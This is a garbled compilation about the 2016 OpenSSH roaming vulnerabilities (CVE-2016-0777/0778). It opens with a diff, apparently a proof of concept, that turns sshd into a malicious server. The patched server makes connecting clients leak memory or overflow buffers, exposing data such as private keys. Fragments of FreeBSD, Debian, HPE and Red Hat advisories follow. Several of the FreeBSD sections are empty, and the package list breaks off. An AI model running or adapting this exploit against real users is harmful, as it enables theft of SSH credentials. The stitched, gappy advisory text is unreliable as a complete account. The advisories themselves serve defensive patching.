+ debug("%s: force client-side load_identity_file",
+ __func__);
packet_start(SSH2_MSG_USERAUTH_PK_OK);
packet_put_string(pkalg, alen);
packet_put_string(pkblob, blen);
diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c
--- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700
+++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800
@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],
}
static void
+roaming_reconnect(void)
+{
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);
+ const u_int id = packet_get_int(); /* roaming_id */
+ debug("%s: id %u", __func__, id);
+ packet_check_eom();
+
+ const char *const dir = get_roaming_dir(id);
+ debug("%s: dir %s", __func__, dir);
+ const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, dir, errno);
+ if (fchdir(fd) != 0)
+ fatal("%s: fchdir %s errno %d", __func__, dir, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, dir, errno);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);
+ packet_put_int64(arc4random()); /* chall */
+ packet_put_int64(arc4random()); /* oldchall */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);
+ const u_int64_t client_read_bytes = packet_get_int64();
+ debug("%s: client_read_bytes %llu", __func__,
+ (unsigned long long)client_read_bytes);
+ packet_get_int64(); /* digest (1-8) */
+ packet_get_int64(); /* digest (9-16) */
+ packet_get_int(); /* digest (17-20) */
+ packet_check_eom();
+
+ u_int64_t client_write_bytes;
+ size_t len = sizeof(client_write_bytes);
+ load_roaming_file("client_write_bytes", &client_write_bytes, &len);
+ debug("%s: client_write_bytes %llu", __func__,
+ (unsigned long long)client_write_bytes);
+
+ u_int client_out_buf_size;
+ len = sizeof(client_out_buf_size);
+ load_roaming_file("client_out_buf_size", &client_out_buf_size, &len);
+ debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+ if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF)
+ fatal("%s: client_out_buf_size %u", __func__,
+ client_out_buf_size);
+
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);
+ packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);
+ packet_send();
+ const int overflow = (access("output", F_OK) == 0);
+ if (overflow != 0) {
+ const void *const ptr = load_roaming_file("output", NULL, &len);
+ buffer_append(packet_get_output(), ptr, len);
+ }
+ packet_write_wait();
+
+ char *const client_out_buf = xmalloc(client_out_buf_size);
+ if (atomicio(read, packet_get_connection_in(), client_out_buf,
+ client_out_buf_size) != client_out_buf_size)
+ fatal("%s: read client_out_buf_size %u errno %d", __func__,
+ client_out_buf_size, errno);
+ if (overflow == 0)
+ dump_roaming_file("infoleak", client_out_buf,
+ client_out_buf_size);
+ fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
kex_choose_conf(Kex *kex)
{
Newkeys *newkeys;
@@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex)
kex->roaming = 1;
free(roaming);
}
+ } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) {
+ roaming_reconnect();
+ /* NOTREACHED */
+ fatal("%s: returned from %s", __func__, KEX_RESUME);
}
/* Algorithm Negotiation */
diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h
--- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800
+++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800
@@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t *);
void calculate_new_key(u_int64_t *, u_int64_t, u_int64_t);
int resume_kex(void);
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "atomicio.h"
+#include "log.h"
+#include "xmalloc.h"
+
+static inline char *
+get_roaming_dir(const u_int id)
+{
+ const size_t buflen = MAXPATHLEN;
+ char *const buf = xmalloc(buflen);
+
+ if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen)
+ fatal("%s: snprintf %u error", __func__, id);
+ return buf;
+}
+
+static inline void
+dump_roaming_file(const char *const name,
+ const void *const buf, const size_t buflen)
+{
+ if (name == NULL)
+ fatal("%s: name %p", __func__, name);
+ if (strchr(name, '/') != NULL)
+ fatal("%s: name %s", __func__, name);
+ if (buf == NULL)
+ fatal("%s: %s buf %p", __func__, name, buf);
+ if (buflen <= 0 || buflen > MAX_ROAMBUF)
+ fatal("%s: %s buflen %lu", __func__, name, (u_long)buflen);
+
+ const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, name, errno);
+ if (write(fd, buf, buflen) != (ssize_t)buflen)
+ fatal("%s: write %s errno %d", __func__, name, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, name, errno);
+}
+
+static inline void *
+load_roaming_file(const char *const name,
+ void *buf, size_t *const buflenp)
+{
+ if (name == NULL)
+ fatal("%s: name %p", __func__, name);
+ if (strchr(name, '/') != NULL)
+ fatal("%s: name %s", __func__, name);
+ if (buflenp == NULL)
+ fatal("%s: %s buflenp %p", __func__, name, buflenp);
+
+ const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+ if (fd <= -1)
+ fatal("%s: open %s errno %d", __func__, name, errno);
+ struct stat st;
+ if (fstat(fd, &st) != 0)
+ fatal("%s: fstat %s errno %d", __func__, name, errno);
+ if (S_ISREG(st.st_mode) == 0)
+ fatal("%s: %s mode 0%o", __func__, name, (u_int)st.st_mode);
+ if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF)
+ fatal("%s: %s size %lld", __func__, name,
+ (long long)st.st_size);
+
+ if (buf == NULL) {
+ *buflenp = st.st_size;
+ buf = xmalloc(*buflenp);
+ } else {
+ if (*buflenp != (size_t)st.st_size)
+ fatal("%s: %s size %lld buflen %lu", __func__, name,
+ (long long)st.st_size, (u_long)*buflenp);
+ }
+ if (read(fd, buf, *buflenp) != (ssize_t)*buflenp)
+ fatal("%s: read %s errno %d", __func__, name, errno);
+ if (close(fd) != 0)
+ fatal("%s: close %s errno %d", __func__, name, errno);
+ return buf;
+}
+
#endif /* ROAMING */
diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c
--- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700
+++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800
@@ -1060,6 +1060,9 @@ server_request_session(void)
return c;
}
+static int client_session_channel = -1;
+static int server_session_channel = -1;
+
static void
server_input_channel_open(int type, u_int32_t seq, void *ctxt)
{
@@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in
c->remote_window = rwindow;
c->remote_maxpacket = rmaxpack;
if (c->type != SSH_CHANNEL_CONNECTING) {
+ debug("%s: avoid client-side buf_append", __func__);
+ /*
packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
packet_put_int(c->remote_id);
packet_put_int(c->self);
packet_put_int(c->local_window);
packet_put_int(c->local_maxpacket);
packet_send();
+ */
+ if (strcmp(ctype, "session") == 0) {
+ if (client_session_channel != -1)
+ fatal("%s: client_session_channel %d",
+ __func__, client_session_channel);
+ client_session_channel = c->remote_id;
+ server_session_channel = c->self;
+ }
}
} else {
debug("server_input_channel_open: failure %s", ctype);
@@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in
}
static void
+roaming_disconnect(Kex *const kex)
+{
+ const char *cp, *roaming = getenv("ROAMING");
+ if (roaming == NULL)
+ roaming = "infoleak";
+ int overflow = 0;
+ if ((cp = strstr(roaming, "overflow:")) != NULL)
+ overflow = cp[9];
+
+ const u_int client_recv_buf_size = packet_get_int();
+ packet_check_eom();
+ const u_int server_recv_buf_size = get_recv_buf_size();
+ const u_int server_send_buf_size = get_snd_buf_size();
+ debug("%s: client_recv_buf_size %u", __func__, client_recv_buf_size);
+ debug("%s: server_recv_buf_size %u", __func__, server_recv_buf_size);
+ debug("%s: server_send_buf_size %u", __func__, server_send_buf_size);
+
+ u_int client_send_buf_size = 0;
+ if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL)
+ client_send_buf_size = strtoul(cp + 21, NULL, 0);
+ else if (client_recv_buf_size == DEFAULT_ROAMBUF)
+ client_send_buf_size = DEFAULT_ROAMBUF;
+ else {
+ const u_int
+ max = MAX(client_recv_buf_size, server_recv_buf_size),
+ min = MIN(client_recv_buf_size, server_recv_buf_size);
+ if (min <= 0)
+ fatal("%s: min %u", __func__, min);
+ if (((u_int64_t)(max - min) * 1024) / min < 1)
+ client_send_buf_size = server_send_buf_size;
+ else
+ client_send_buf_size = client_recv_buf_size;
+ }
+ debug("%s: client_send_buf_size %u", __func__, client_send_buf_size);
+ if (client_send_buf_size <= 0)
+ fatal("%s: client_send_buf_size", __func__);
+
+ u_int id = 0;
+ char *dir = NULL;
+ for (;;) {
+ id = arc4random();
+ debug("%s: id %u", __func__, id);
+ free(dir);
+ dir = get_roaming_dir(id);
+ if (mkdir(dir, S_IRWXU) == 0)
+ break;
+ if (errno != EEXIST)
+ fatal("%s: mkdir %s errno %d", __func__, dir, errno);
+ }
+ debug("%s: dir %s", __func__, dir);
+ if (chdir(dir) != 0)
+ fatal("%s: chdir %s errno %d", __func__, dir, errno);
+
+ u_int client_out_buf_size = 0;
+ if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL)
+ client_out_buf_size = strtoul(cp + 20, NULL, 0);
+ else if (overflow != 0)
+ client_out_buf_size = MAX_ROAMBUF;
+ else
+ client_out_buf_size = 1 + arc4random() % 4096;
+ debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+ if (client_out_buf_size <= 0)
+ fatal("%s: client_out_buf_size", __func__);
+ dump_roaming_file("client_out_buf_size", &client_out_buf_size,
+ sizeof(client_out_buf_size));
+
+ if ((cp = strstr(roaming, "scp_mode")) != NULL) {
+ if (overflow != 0)
+ fatal("%s: scp_mode is incompatible with overflow %d",
+ __func__, overflow);
+
+ u_int seconds_left_to_sleep = 3;
+ if ((cp = strstr(cp, "sleep:")) != NULL)
+ seconds_left_to_sleep = strtoul(cp + 6, NULL, 0);
+ debug("%s: sleep %u", __func__, seconds_left_to_sleep);
+
+ if (client_session_channel == -1)
+ fatal("%s: client_session_channel %d",
+ __func__, client_session_channel);
+
+ packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+ packet_put_int(client_session_channel);
+ packet_put_int(server_session_channel);
+ packet_put_int(0); /* server window */
+ packet_put_int(0); /* server maxpacket */
+ packet_send();
+
+ packet_start(SSH2_MSG_CHANNEL_DATA);
+ packet_put_int(client_session_channel);
+ packet_put_string("\0\n", 2); /* response&source|sink&run_err */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_CHANNEL_REQUEST);
+ packet_get_int(); /* server channel */
+ debug("%s: channel request %s", __func__,
+ packet_get_cstring(NULL));
+
+ while (seconds_left_to_sleep)
+ seconds_left_to_sleep = sleep(seconds_left_to_sleep);
+ }
+
+ packet_start(SSH2_MSG_REQUEST_SUCCESS);
+ packet_put_int(id); /* roaming_id */
+ packet_put_int64(arc4random()); /* cookie */
+ packet_put_int64(0); /* key1 */
+ packet_put_int64(0); /* key2 */
+ packet_put_int(client_out_buf_size - client_send_buf_size);
+ packet_send();
+ packet_write_wait();
+
+ if (overflow != 0) {
+ const u_int64_t full_client_out_buf = get_recv_bytes() +
+ client_out_buf_size;
+
+ u_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */
+ if ((cp = strstr(roaming, "fd_leaks:")) != NULL)
+ fd_leaks = strtoul(cp + 9, NULL, 0);
+ debug("%s: fd_leaks %u", __func__, fd_leaks);
+
+ while (fd_leaks--) {
+ packet_start(SSH2_MSG_CHANNEL_OPEN);
+ packet_put_cstring(overflow == 'X' ? "x11" :
+ "auth-agent@openssh.com"); /* ctype */
+ packet_put_int(arc4random()); /* server channel */
+ packet_put_int(arc4random()); /* server window */
+ packet_put_int(arc4random()); /* server maxpacket */
+ if (overflow == 'X') {
+ packet_put_cstring(""); /* originator */
+ packet_put_int(arc4random()); /* port */
+ }
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
+ packet_get_int(); /* server channel */
+ packet_get_int(); /* client channel */
+ packet_get_int(); /* client window */
+ packet_get_int(); /* client maxpacket */
+ packet_check_eom();
+ }
+
+ while (get_recv_bytes() <= full_client_out_buf) {
+ packet_start(SSH2_MSG_GLOBAL_REQUEST);
+ packet_put_cstring(""); /* rtype */
+ packet_put_char(1); /* want_reply */
+ packet_send();
+
+ packet_read_expect(SSH2_MSG_REQUEST_FAILURE);
+ packet_check_eom();
+ }
+
+ if (kex == NULL)
+ fatal("%s: no kex, cannot rekey", __func__);
+ if (kex->flags & KEX_INIT_SENT)
+ fatal("%s: KEX_INIT_SENT already", __func__);
+ char *const ptr = buffer_ptr(&kex->my);
+ const u_int len = buffer_len(&kex->my);
+ if (len <= 1+4) /* first_kex_follows + reserved */
+ fatal("%s: kex len %u", __func__, len);
+ ptr[len - (1+4)] = 1; /* first_kex_follows */
+ kex_send_kexinit(kex);
+
+ u_int i;
+ packet_read_expect(SSH2_MSG_KEXINIT);
+ for (i = 0; i < KEX_COOKIE_LEN; i++)
+ packet_get_char();
+ for (i = 0; i < PROPOSAL_MAX; i++)
+ free(packet_get_string(NULL));
+ packet_get_char(); /* first_kex_follows */
+ packet_get_int(); /* reserved */
+ packet_check_eom();
+
+ char buf[8192*2]; /* two packet_read_seqnr bufferfuls */
+ memset(buf, '\0', sizeof(buf));
+ packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL);
+ packet_put_string(buf, sizeof(buf));
+ packet_send();
+ const Buffer *const output = packet_get_output();
+ dump_roaming_file("output", buffer_ptr(output),
+ buffer_len(output));
+ }
+
+ const u_int64_t client_write_bytes = get_recv_bytes();
+ debug("%s: client_write_bytes %llu", __func__,
+ (unsigned long long)client_write_bytes);
+ dump_roaming_file("client_write_bytes", &client_write_bytes,
+ sizeof(client_write_bytes));
+ fatal("%s: all done for %s", __func__, dir);
+}
+
+static void
server_input_global_request(int type, u_int32_t seq, void *ctxt)
{
char *rtype;
@@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_
} else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) {
no_more_sessions = 1;
success = 1;
+ } else if (strcmp(rtype, ROAMING_REQUEST) == 0) {
+ if (want_reply != 1)
+ fatal("%s: rtype %s want_reply %d", __func__,
+ rtype, want_reply);
+ roaming_disconnect(ctxt);
+ /* NOTREACHED */
+ fatal("%s: returned from %s", __func__, ROAMING_REQUEST);
}
if (want_reply) {
packet_start(success ?
diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c
--- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700
+++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800
@@ -2432,6 +2432,8 @@ do_ssh2_kex(void)
}
if (options.kex_algorithms != NULL)
myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms;
+ else
+ myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;
if (options.rekey_limit || options.rekey_interval)
packet_set_rekey_limits((u_int32_t)options.rekey_limit,
.
Corrected: 2016-01-14 22:42:43 UTC (stable/10, 10.2-STABLE)
2016-01-14 22:45:33 UTC (releng/10.2, 10.2-RELEASE-p10)
2016-01-14 22:47:54 UTC (releng/10.1, 10.1-RELEASE-p27)
2016-01-14 22:50:35 UTC (stable/9, 9.3-STABLE)
2016-01-14 22:53:07 UTC (releng/9.3, 9.3-RELEASE-p34)
CVE Name: CVE-2016-0777
For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit <URL:https://security.FreeBSD.org/>. The ssh(1) is client side utility used
to login to remote servers.
II.
III.
IV.
All current remote ssh(1) sessions need to be restared after changing
the configuration file.
V. Solution
Perform one of the following:
1) Upgrade your vulnerable system to a supported FreeBSD stable or
release / security branch (releng) dated after the correction date.
2) To update your vulnerable system via a binary patch:
Systems running a RELEASE version of FreeBSD on the i386 or amd64
platforms can be updated via the freebsd-update(8) utility:
# freebsd-update fetch
# freebsd-update install
3) To update your vulnerable system via a source code patch:
The following patches have been verified to apply to the applicable
FreeBSD release branches.
a) Download the relevant patch from the location below, and verify the
detached PGP signature using your PGP utility.
# fetch https://security.FreeBSD.org/patches/SA-16:07/openssh.patch
# fetch https://security.FreeBSD.org/patches/SA-16:07/openssh.patch.asc
# gpg --verify openssh.patch.asc
b) Apply the patch. Execute the following commands as root:
# cd /usr/src
# patch < /path/to/patch
c) Recompile the operating system using buildworld and installworld as
described in <URL:https://www.FreeBSD.org/handbook/makeworld.html>.
VI. Correction details
The following list contains the correction revision numbers for each
affected branch.
Branch/path Revision
- -------------------------------------------------------------------------
stable/9/ r294053
releng/9.3/ r294054
stable/10/ r294049
releng/10.1/ r294051
releng/10.2/ r294052
- -------------------------------------------------------------------------
To see which files were modified by a particular revision, run the
following command, replacing NNNNNN with the revision number, on a
machine with Subversion installed:
# svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base
Or visit the following URL, replacing NNNNNN with the revision number:
<URL:https://svnweb.freebsd.org/base?view=revision&revision=NNNNNN>
VII.
Users with passphrase-less privates keys, especially in non interactive
setups (automated jobs using ssh, scp, rsync+ssh etc.) are advised to
update their keys if they have connected to an SSH server they don't
trust.
More details about identifying an attack and mitigations will be
available in the Qualys Security Advisory.
For the oldstable distribution (wheezy), these problems have been fixed
in version 1:6.0p1-4+deb7u3.
For the stable distribution (jessie), these problems have been fixed in
version 1:6.7p1-5+deb8u1.
For the testing distribution (stretch) and unstable distribution (sid), these
problems will be fixed in a later version.
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Note: the current version of the following document is available here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c05247375
SUPPORT COMMUNICATION - SECURITY BULLETIN
Document ID: c05247375
Version: 1
HPSBGN03638 rev.1 - HPE Remote Device Access: Virtual Customer Access System
(vCAS) using lighttpd and OpenSSH, Unauthorized Modification of Information,
Remote Denial of Service (DoS), Remote Disclosure of Information
NOTICE: The information in this Security Bulletin should be acted upon as
soon as possible.
Release Date: 2016-08-29
Last Updated: 2016-08-29
Potential Security Impact: Remote Denial of Service (DoS), Disclosure of
Information, Unauthorized Modification Of Information
Source: Hewlett Packard Enterprise, Product Security Response Team
VULNERABILITY SUMMARY
Potential vulnerabilities have been identified in the lighttpd and OpenSSH
version used in HPE Remote Device Access: Virtual Customer Access System
(vCAS). These vulnerabilities could be exploited remotely resulting in
unauthorized modification of information, denial of service (DoS), and
disclosure of information.
References:
CVE-2015-3200
CVE-2016-0777
CVE-2016-0778
PSRT110211
SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HPE Remote Device Access: Virtual Customer Access System (vCAS) - v15.07 (RDA
8.1) and earlier.
BACKGROUND
CVSS Base Metrics
=================
Reference, CVSS V3 Score/Vector, CVSS V2 Score/Vector
CVE-2015-3200
5.3 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
5.0 (AV:N/AC:L/Au:N/C:N/I:P/A:N)
CVE-2016-0777
6.5 CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
4.0 (AV:N/AC:L/Au:S/C:P/I:N/A:N)
CVE-2016-0778
9.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Information on CVSS is documented in
HPE Customer Notice HPSN-2008-002 here:
https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c01345499
RESOLUTION
HPE has made the following updates available to resolve the vulnerabilities
in Remote Device Access: Virtual Customer Access System (vCAS)
vCAS 16.05 (RDA 8.7) kits - hp-rdacas-16.05-10482-vbox.ova and
hp-rdacas-16.05-10482.ova.
The Oracle VirtualBox kit is available at:
https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482-vbox.ova
The VMware ESX(i) and VMware Player kit is available at:
https://h20529.www2.hpe.com/apt/hp-rdacas-16.05-10482.ova
HISTORY
Version:1 (rev.1) - 29 August 2016 Initial release
Third Party Security Patches: Third party security patches that are to be
installed on systems running Hewlett Packard Enterprise (HPE) software
products should be applied in accordance with the customer's patch management
policy.
Support: For issues about implementing the recommendations of this Security
Bulletin, contact normal HPE Services support channel. For other issues about
the content of this Security Bulletin, send e-mail to security-alert@hpe.com.
Report: To report a potential security vulnerability for any HPE supported
product:
Web form: https://www.hpe.com/info/report-security-vulnerability
Email: security-alert@hpe.com
Subscribe: To initiate a subscription to receive future HPE Security Bulletin
alerts via Email: http://www.hpe.com/support/Subscriber_Choice
Security Bulletin Archive: A list of recently released Security Bulletins is
available here: http://www.hpe.com/support/Security_Bulletin_Archive
Software Product Category: The Software Product Category is represented in
the title by the two characters following HPSB.
3C = 3COM
3P = 3rd Party Software
GN = HPE General Software
HF = HPE Hardware and Firmware
MU = Multi-Platform Software
NS = NonStop Servers
OV = OpenVMS
PV = ProCurve
ST = Storage Software
UX = HP-UX
Copyright 2016 Hewlett Packard Enterprise
Hewlett Packard Enterprise shall not be liable for technical or editorial
errors or omissions contained herein. The information provided is provided
"as is" without warranty of any kind. To the extent permitted by law, neither
HP or its affiliates, subcontractors or suppliers will be liable for
incidental,special or consequential damages including downtime cost; lost
profits; damages relating to the procurement of substitute products or
services; or damages for loss of data, or software restoration. The
information in this document is subject to change without notice. Hewlett
Packard Enterprise and the names of Hewlett Packard Enterprise products
referenced herein are trademarks of Hewlett Packard Enterprise in the United
States and other countries. Other product and company names mentioned herein
may be trademarks of their respective owners. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
=====================================================================
Red Hat Security Advisory
Synopsis: Moderate: openssh security update
Advisory ID: RHSA-2016:0043-01
Product: Red Hat Enterprise Linux
Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html
Issue date: 2016-01-14
CVE Names: CVE-2016-0777 CVE-2016-0778
=====================================================================
1. Summary:
Updated openssh packages that fix two security issues are now available for
Red Hat Enterprise Linux 7.
Red Hat Product Security has rated this update as having Moderate security
impact. Common Vulnerability Scoring System (CVSS) base scores, which give
detailed severity ratings, are available for each vulnerability from the
CVE links in the References section. Relevant releases/architectures:
Red Hat Enterprise Linux Client (v. 7) - x86_64
Red Hat Enterprise Linux Client Optional (v. 7) - x86_64
Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64
Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64
Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64
Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64
Red Hat Enterprise Linux Workstation (v. 7) - x86_64
Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64
3. Description:
OpenSSH is OpenBSD's SSH (Secure Shell) protocol implementation.
These packages include the core files necessary for both the OpenSSH client
and server. (CVE-2016-0778)
Red Hat would like to thank Qualys for reporting these issues.
All openssh users are advised to upgrade to these updated packages, which
contain backported patches to correct these issues. After installing this
update, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:
Before applying this update, make sure all previously released errata
relevant to your system have been applied.
For details on how to apply this update, refer to:
https://access.redhat.com/articles/11258
5. Package List:
Red Hat Enterprise Linux Client (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Client Optional (v. 7):
x86_64:
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux ComputeNode Optional (v. 7):
x86_64:
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
ppc64:
openssh-6.6.1p1-23.el7_2.ppc64.rpm
openssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm
openssh-clients-6.6.1p1-23.el7_2.ppc64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm
openssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm
openssh-server-6.6.1p1-23.el7_2.ppc64.rpm
ppc64le:
openssh-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-server-6.6.1p1-23.el7_2.ppc64le.rpm
s390x:
openssh-6.6.1p1-23.el7_2.s390x.rpm
openssh-askpass-6.6.1p1-23.el7_2.s390x.rpm
openssh-clients-6.6.1p1-23.el7_2.s390x.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm
openssh-keycat-6.6.1p1-23.el7_2.s390x.rpm
openssh-server-6.6.1p1-23.el7_2.s390x.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Server Optional (v. 7):
ppc64:
openssh-debuginfo-6.6.1p1-23.el7_2.ppc.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm
openssh-ldap-6.6.1p1-23.el7_2.ppc64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64.rpm
ppc64le:
openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-ldap-6.6.1p1-23.el7_2.ppc64le.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.ppc64le.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.ppc64le.rpm
s390x:
openssh-debuginfo-6.6.1p1-23.el7_2.s390.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm
openssh-ldap-6.6.1p1-23.el7_2.s390x.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.s390x.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.s390x.rpm
x86_64:
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm
pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation (v. 7):
Source:
openssh-6.6.1p1-23.el7_2.src.rpm
x86_64:
openssh-6.6.1p1-23.el7_2.x86_64.rpm
openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm
openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm
openssh-server-6.6.1p1-23.el7_2.x86_64.rpm
Red Hat Enterprise Linux Workstation Optional (v. 7):
x86_64:
openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm
openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm
openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm
